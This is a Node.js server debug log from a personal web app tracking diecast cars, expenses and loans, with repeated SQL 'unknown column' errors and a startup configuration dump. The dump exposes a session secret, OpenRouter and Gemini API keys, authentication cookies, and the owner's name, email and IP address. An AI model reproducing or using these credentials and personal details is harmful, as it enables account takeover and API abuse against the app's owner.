2026-07-13T10:03:37.425Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`vehicle_brand_id` = '128')) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: "select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`vehicle_brand_id` = '128')) as `t1` limit 1"
}
2026-07-13T10:03:37.425Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`vehicle_brand_id` = '128')) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: "select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`vehicle_brand_id` = '128')) as `t1` limit 1"
}
2026-07-13T10:03:38.559Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:03:38.559Z server-connect:app Executing action step identify
2026-07-13T10:03:38.559Z server-connect:app options: { provider: 'security' }
2026-07-13T10:03:38.560Z server-connect:output identity: 1
2026-07-13T10:03:38.560Z server-connect:app Executing action step restrict
2026-07-13T10:03:38.560Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:03:38.560Z server-connect:output restrict: undefined
2026-07-13T10:03:38.560Z server-connect:app Executing action step paged
2026-07-13T10:03:38.561Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:03:38.562Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:03:38.562Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:05:25.616Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T10:05:25.795Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T10:05:25.877Z server-connect:setup:upload Upload middleware configured.
2026-07-13T10:05:25.877Z server-connect:secure CSRF Protection initialized
2026-07-13T10:05:25.879Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T10:05:25.880Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T10:05:25.880Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T10:05:25.881Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T10:05:25.881Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T10:05:25.883Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T10:05:25.884Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T10:05:25.885Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T10:05:25.886Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T10:05:25.886Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T10:05:25.886Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T10:05:25.887Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T10:05:25.887Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T10:05:25.888Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T10:05:25.890Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T10:05:25.891Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T10:05:25.891Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T10:05:25.892Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T10:05:25.892Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T10:05:25.892Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T10:05:25.892Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T10:05:25.893Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T10:05:25.893Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T10:05:25.893Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T10:05:25.894Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T10:05:25.894Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T10:05:25.894Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T10:05:25.894Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T10:05:25.895Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T10:05:25.895Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T10:05:25.895Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T10:05:25.895Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T10:05:25.895Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T10:05:25.896Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T10:05:25.896Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T10:05:25.896Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T10:05:25.896Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T10:05:25.896Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:05:26.030Z server-connect:router Serving templateView /diecast
2026-07-13T10:05:26.032Z server-connect:app Executing action step identify
2026-07-13T10:05:26.032Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:26.034Z server-connect:output identity: 1
2026-07-13T10:05:26.034Z server-connect:app Executing action step restrict
2026-07-13T10:05:26.034Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:05:26.037Z server-connect:output restrict: undefined
2026-07-13T10:05:26.037Z server-connect:router Render template layouts/main
2026-07-13T10:05:26.037Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { brand: '' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-07-13T10:05:27.026Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:05:27.028Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:05:27.030Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:05:27.030Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:05:27.031Z server-connect:app Executing action step identify
2026-07-13T10:05:27.031Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.031Z server-connect:output identity: 1
2026-07-13T10:05:27.031Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.031Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.032Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:05:27.032Z server-connect:app Executing action step identify
2026-07-13T10:05:27.032Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.033Z server-connect:output identity: 1
2026-07-13T10:05:27.033Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.033Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.033Z server-connect:output restrict: undefined
2026-07-13T10:05:27.034Z server-connect:app Executing action step single
2026-07-13T10:05:27.034Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:05:27.036Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:05:27.036Z server-connect:app Executing action step identify
2026-07-13T10:05:27.036Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.036Z server-connect:output identity: 1
2026-07-13T10:05:27.036Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.036Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.037Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:05:27.038Z server-connect:output restrict: undefined
2026-07-13T10:05:27.038Z server-connect:app Executing action step select
2026-07-13T10:05:27.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:05:27.039Z server-connect:app Executing action step identify
2026-07-13T10:05:27.039Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.040Z server-connect:output identity: 1
2026-07-13T10:05:27.040Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.040Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.041Z server-connect:output restrict: undefined
2026-07-13T10:05:27.041Z server-connect:app Executing action step select
2026-07-13T10:05:27.041Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
